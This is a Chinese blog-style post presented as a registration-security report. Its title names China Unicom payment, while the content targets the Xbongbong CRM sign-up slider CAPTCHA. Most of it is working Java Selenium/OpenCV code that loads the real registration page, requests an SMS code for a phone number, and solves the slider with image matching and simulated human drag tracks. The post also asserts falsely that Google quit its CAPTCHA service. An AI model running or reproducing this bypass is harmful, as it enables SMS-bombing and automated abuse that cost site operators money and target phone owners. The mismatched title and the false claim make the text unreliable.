联通支付注册/登录安全分析报告
前言
由于网站注册入口容易被黑客攻击,存在如下安全问题:
- 暴力破解密码,造成用户信息泄露
- 短信盗刷的安全问题,影响业务及导致用户投诉
- 带来经济损失,尤其是后付费客户,风险巨大,造成亏损无底洞
所以大部分网站及App 都采取图形验证码或滑动验证码等交互解决方案, 但在机器学习能力提高的当下,连百度这样的大厂都遭受攻击导致点名批评, 图形验证及交互验证方式的安全性到底如何? 请看具体分析
一、 销帮帮PC 注册入口
简介:杭州逍邦网络科技有限公司成立于2015年,是国内一线CRM品牌和企服领域知名品牌。 致力为客户提供专业的客户全生命周期管理和数字化销售管理服务,助力企业提升业绩,让企业更成功。销帮帮拥有强大而灵活的“PaaS+低代码”能力。
二、 安全性分析报告:
销帮帮自研的滑动验证码,容易被模拟器绕过甚至逆向后暴力攻击,滑动拼图识别率在 95% 以上,该网站存在一个试用页面入口无任何防御的问题。
三、 测试方法:
前端界面分析,这是销帮帮自己研发的滑动验证码,网上没有现成的教学视频,但形式都差不多,难点:防模拟器鼠标,物理鼠标和逻辑鼠标定位不一致判断措施,解决思路为让JS 这部分代码失效或这采用 物理定位鼠标的部分,目前采用的是物理鼠标的方式。
这次还是采用模拟器的方式,关键点主要模拟器交互、距离识别和轨道算法3部分
1. 模拟器交互部分
private OpenCv2 openCv2 = new OpenCv2(64, 128);private static String INDEX_URL = "https://appwebfront.xbongbong.com/stand-alone-login.html#/";@Overridepublic RetEntity send(WebDriver driver, String areaCode, String phone) {RetEntity retEntity = new RetEntity();try {driver.get(INDEX_URL);driver.findElement(By.xpath("//p[contains(text(),'免费注册')]")).click();Thread.sleep(100);// 输入手机号WebElement phoneElemet = ChromeDriverManager.waitElement(driver, By.xpath("//input[contains(@placeholder,'请输入手机号')]"), 10);phoneElemet.sendKeys(phone);// 点击获取验证码WebElement sendElement = driver.findElement(By.xpath("//button/span[contains(text(),'获取验证码')]"));sendElement.click();Thread.sleep(1000);// pic 1 get bigWebElement bigImgElement = driver.findElement(By.xpath("//div[@class='verify-img-panel']/img"));String bigSrc = bigImgElement.getAttribute("src");byte[] bigBytes = GetImage.imgStrToByte(bigSrc);int bigLen = (bigBytes != null) ? bigBytes.length : 0;if (bigLen < 100) {System.out.println("base64Str=" + bigSrc + "->bigLen=" + bigLen);return null;}// pic 2 get smallWebElement smallImgElement = driver.findElement(By.xpath("//div[@class='verify-sub-block']/img"));String smallSrc = smallImgElement.getAttribute("src");byte[] smallBytes = GetImage.imgStrToByte(smallSrc);int smallLen = (smallBytes != null) ? smallBytes.length : 0;if (smallLen < 100) {System.out.println("smallSrc=" + smallSrc + "->smallLen=" + smallLen);return null;}String ckSum = GenChecksumUtil.genChecksum(bigBytes);Map<String, Double> openResult = openCv2.getOpenCvDistance(ckSum, bigBytes, smallBytes, this.getClass().getSimpleName(), 0);if (openResult == null || openResult.size() < 2) {System.out.println("ckSum=" + ckSum + "->openResult=" + openResult);return null;}Double r = 1.0;BigDecimal disD = new BigDecimal(openResult.get("minX") * r).setScale(0, BigDecimal.ROUND_HALF_UP);int distance = disD.intValue();boolean isRobot = true;int beginX = 827;int beginY = 659;if (isRobot) {RobotMove.move(beginX, beginY, distance);} else {WebElement moveElement = driver.findElement(By.className("verify-left-bar"));ActionMove.move(driver, moveElement, distance);}System.out.println("distance=" + distance);Thread.sleep(1000);WebElement infoElement = ChromeDriverManager.waitElement(driver, By.xpath("//button/span/span[contains(text(),'(')]"), 20);String info = (infoElement != null) ? infoElement.getText() : null;retEntity.setMsg(info);if (info != null && info.contains("(")) {retEntity.setRet(0);}return retEntity;} catch (Exception e) {System.out.println("phone=" + phone + ",e=" + e.toString());for (StackTraceElement ele : e.getStackTrace()) {System.out.println(ele.toString());}return null;}}
2. 距离识别
/*** * @param ckSum* @param bigBytes* @param smallBytes* @param factory* @return { width, maxX }*/public String[] getOpenCvDistance(String ckSum, byte bigBytes[], byte smallBytes[], String factory, int border) {try {String basePath = ConstTable.codePath + factory + "/";File baseFile = new File(basePath);if (!baseFile.isDirectory()) {baseFile.mkdirs();}// 小图文件File smallFile = new File(basePath + ckSum + "_s.png");FileUtils.writeByteArrayToFile(smallFile, smallBytes);// 大图文件File bigFile = new File(basePath + ckSum + "_b.png");FileUtils.writeByteArrayToFile(bigFile, bigBytes);// 边框清理(去干扰)byte[] clearBoder = (border > 0) ? ImageIOHelper.clearBoder(smallBytes, border) : smallBytes;File tpFile = new File(basePath + ckSum + "_t.png");FileUtils.writeByteArrayToFile(tpFile, clearBoder);String resultFile = basePath + ckSum + "_o.png";return getWidth(tpFile.getAbsolutePath(), bigFile.getAbsolutePath(), resultFile);} catch (Throwable e) {logger.error("getMoveDistance() ckSum=" + ckSum + " " + e.toString());for (StackTraceElement elment : e.getStackTrace()) {logger.error(elment.toString());}return null;}}/*** Open Cv 图片模板匹配* * @param tpPath* 模板图片路径* @param bgPath* 目标图片路径* @return { width, maxX }*/private String[] getWidth(String tpPath, String bgPath, String resultFile) {try {Rect rectCrop = clearWhite(tpPath);Mat g_tem = Imgcodecs.imread(tpPath);Mat clearMat = g_tem.submat(rectCrop);Mat cvt = new Mat();Imgproc.cvtColor(clearMat, cvt, Imgproc.COLOR_RGB2GRAY);Mat edgesSlide = new Mat();Imgproc.Canny(cvt, edgesSlide, threshold1, threshold2);Mat cvtSlide = new Mat();Imgproc.cvtColor(edgesSlide, cvtSlide, Imgproc.COLOR_GRAY2RGB);Imgcodecs.imwrite(tpPath, cvtSlide);Mat g_b = Imgcodecs.imread(bgPath);Mat edgesBg = new Mat();Imgproc.Canny(g_b, edgesBg, threshold1, threshold2);Mat cvtBg = new Mat();Imgproc.cvtColor(edgesBg, cvtBg, Imgproc.COLOR_GRAY2RGB);int result_rows = cvtBg.rows() - cvtSlide.rows() + 1;int result_cols = cvtBg.cols() - cvtSlide.cols() + 1;Mat g_result = new Mat(result_rows, result_cols, CvType.CV_32FC1);Imgproc.matchTemplate(cvtBg, cvtSlide, g_result, Imgproc.TM_CCOEFF_NORMED); // 归一化平方差匹配法// 归一化相关匹配法MinMaxLocResult minMaxLoc = Core.minMaxLoc(g_result);Point maxLoc = minMaxLoc.maxLoc;Imgproc.rectangle(cvtBg, maxLoc, new Point(maxLoc.x + cvtSlide.cols(), maxLoc.y + cvtSlide.rows()), new Scalar(0, 0, 255), 1);Imgcodecs.imwrite(resultFile, cvtBg);String width = String.valueOf(cvtSlide.cols());String maxX = String.valueOf(maxLoc.x + cvtSlide.cols());System.out.println("OpenCv2.getWidth() width=" + width + ",maxX=" + maxX);return new String[] { width, maxX };} catch (Throwable e) {System.out.println("getWidth() " + e.toString());logger.error("getWidth() " + e.toString());for (StackTraceElement elment : e.getStackTrace()) {logger.error(elment.toString());}return null;}}public Rect clearWhite(String smallPath) {try {Mat matrix = Imgcodecs.imread(smallPath);int rows = matrix.rows();// height -> yint cols = matrix.cols();// width -> xSystem.out.println("OpenCv2.clearWhite() rows=" + rows + ",cols=" + cols);Double rgb;double[] arr;int minX = 255;int minY = 255;int maxX = 0;int maxY = 0;Color c;for (int x = 0; x < cols; x++) {for (int y = 0; y < rows; y++) {arr = matrix.get(y, x);rgb = 0.00;for (int i = 0; i < 3; i++) {rgb += arr[i];}c = new Color(rgb.intValue());int b = c.getBlue();int r = c.getRed();int g = c.getGreen();int sum = r + g + b;if (sum >= 5) {if (x <= minX)minX = x;else if (x >= maxX)maxX = x;if (y <= minY)minY = y;else if (y >= maxY)maxY = y;}}}int boder = 1;if (boder > 0) {minX = (minX > boder) ? minX - boder : 0;maxX = (maxX + boder < cols) ? maxX + boder : cols;minY = (minY > boder) ? minY - boder : 0;maxY = (maxY + boder < rows) ? maxY + boder : rows;}int width = (maxX - minX);int height = (maxY - minY);System.out.println("openCv2 minX=" + minX + ",minY=" + minY + ",maxX=" + maxX + ",maxY=" + maxY + "->width=" + width + ",height=" + height);Rect rectCrop = new Rect(minX, minY, width, height);return rectCrop;} catch (Throwable e) {StringBuffer er = new StringBuffer("clearWrite() " + e.toString() + "\n");for (StackTraceElement elment : e.getStackTrace()) {er.append(elment.toString() + "\n");}logger.error(er.toString());System.out.println(er.toString());return null;}}
3. 轨道生成及移动算法
/*** 双轴轨道生成算法,主要实现平滑加速和减速* * @param distance* @return*/public static List<Integer[]> getXyTrack(int distance) {List<Integer[]> track = new ArrayList<Integer[]>();// 移动轨迹try {int a = (int) (distance / 3.0) + random.nextInt(10);int h = 0, current = 0;// 已经移动的距离BigDecimal midRate = new BigDecimal(0.7 + (random.nextInt(10) / 100.00)).setScale(4, BigDecimal.ROUND_HALF_UP);BigDecimal mid = new BigDecimal(distance).multiply(midRate).setScale(0, BigDecimal.ROUND_HALF_UP);// 减速阈值BigDecimal move = null;// 每次循环移动的距离List<Integer[]> subList = new ArrayList<Integer[]>();// 移动轨迹boolean plus = true;Double t = 0.18, v = 0.00, v0;while (current <= distance) {h = random.nextInt(2);if (current > distance / 2) {h = h * -1;}v0 = v;v = v0 + a * t;move = new BigDecimal(v0 * t + 1 / 2 * a * t * t).setScale(4, BigDecimal.ROUND_HALF_UP);// 加速if (move.intValue() < 1)move = new BigDecimal(1L);if (plus) {track.add(new Integer[] { move.intValue(), h });} else {subList.add(0, new Integer[] { move.intValue(), h });}current += move.intValue();if (plus && current >= mid.intValue()) {plus = false;move = new BigDecimal(0L);v = 0.00;}}track.addAll(subList);int bk = current - distance;if (bk > 0) {for (int i = 0; i < bk; i++) {track.add(new Integer[] { -1, h });}}System.out.println("getMoveTrack(" + midRate + ") a=" + a + ",distance=" + distance + " -> mid=" + mid.intValue() + " size=" + track.size());return track;} catch (Exception e) {System.out.print(e.toString());return null;}}/*** 模拟人工移动* * @param driver* @param element页面滑块* @param distance需要移动距离* @throws InterruptedException*/public static void move(WebDriver driver, WebElement element, int distance) throws InterruptedException {List<Integer[]> track = getXyTrack(distance);if (track == null || track.size() < 1) {System.out.println("move() track=" + track);}int moveY, moveX;StringBuffer sb = new StringBuffer();try {Actions actions = new Actions(driver);actions.clickAndHold(element).perform();Thread.sleep(50);long begin, cost;Integer[] move;int sum = 0;for (int i = 0; i < track.size(); i++) {begin = System.currentTimeMillis();move = track.get(i);moveX = move[0];sum += moveX;moveY = move[1];if (moveX < 0) {if (sb.length() > 0) {sb.append(",");}sb.append(moveX);}actions.moveByOffset(moveX, moveY).perform();cost = System.currentTimeMillis() - begin;if (cost < 5) {Thread.sleep(5 - cost);}}if (sb.length() > 0) {System.out.println("-----backspace[" + sb.toString() + "]sum=" + sum + ",distance=" + distance);}Thread.sleep(180);actions.release(element).perform();Thread.sleep(500);} catch (Exception e) {StringBuffer er = new StringBuffer("move() " + e.toString() + "\n");for (StackTraceElement elment : e.getStackTrace())er.append(elment.toString() + "\n");logger.error(er.toString());System.out.println(er.toString());}}
4. 图片比对结果测试样例:
四丶结语
杭州逍邦网络科技有限公司成立于2015年,是国内一线CRM品牌和企服领域知名品牌。 致力为客户提供专业的客户全生命周期管理和数字化销售管理服务,助力企业提升业绩,让企业更成功。 销帮帮拥有强大而灵活的“PaaS+低代码”能力。在吸取了同行滑动验证码的经验后,自己研发了独特风格的那个验证码, 从逆向代码来看, 不仅借鉴了同行的技术原理,还在防抓取上下了功夫,防模拟器鼠标,物理鼠标和逻辑鼠标定位不一致判断措施,解决思路为让JS 这部分代码失效或这采用 物理定位鼠标的部分,目前采用的是物理鼠标的方式。
从这点看,的确让初级黑客止步,但本质上, 前端技术都是暴露在浏览器,不管是JS 注入还是后端代理模式,都会让这些小技巧无效。
另一方面,该网站试用页面入口短信验证无任何验证,存在被盗刷短信的隐患。
很多人在短信服务刚开始建设的阶段,可能不会在安全方面考虑太多,理由有很多。
比如:“ 需求这么赶,当然是先实现功能啊 ”,“ 业务量很小啦,系统就这么点人用,不怕的 ” , “ 我们怎么会被盯上呢,不可能的 ”等等。有一些理由虽然有道理,但是该来的总是会来的。前期欠下来的债,总是要还的。越早还,问题就越小,损失就越低。
所以大家在安全方面还是要重视。(血淋淋的栗子!)#安全短信#
戳这里→康康你手机号在过多少网站注册过!!!
谷歌图形验证码在AI 面前已经形同虚设,所以谷歌宣布退出验证码服务, 那么当所有的图形验证码都被破解时,大家又该如何做好防御呢?
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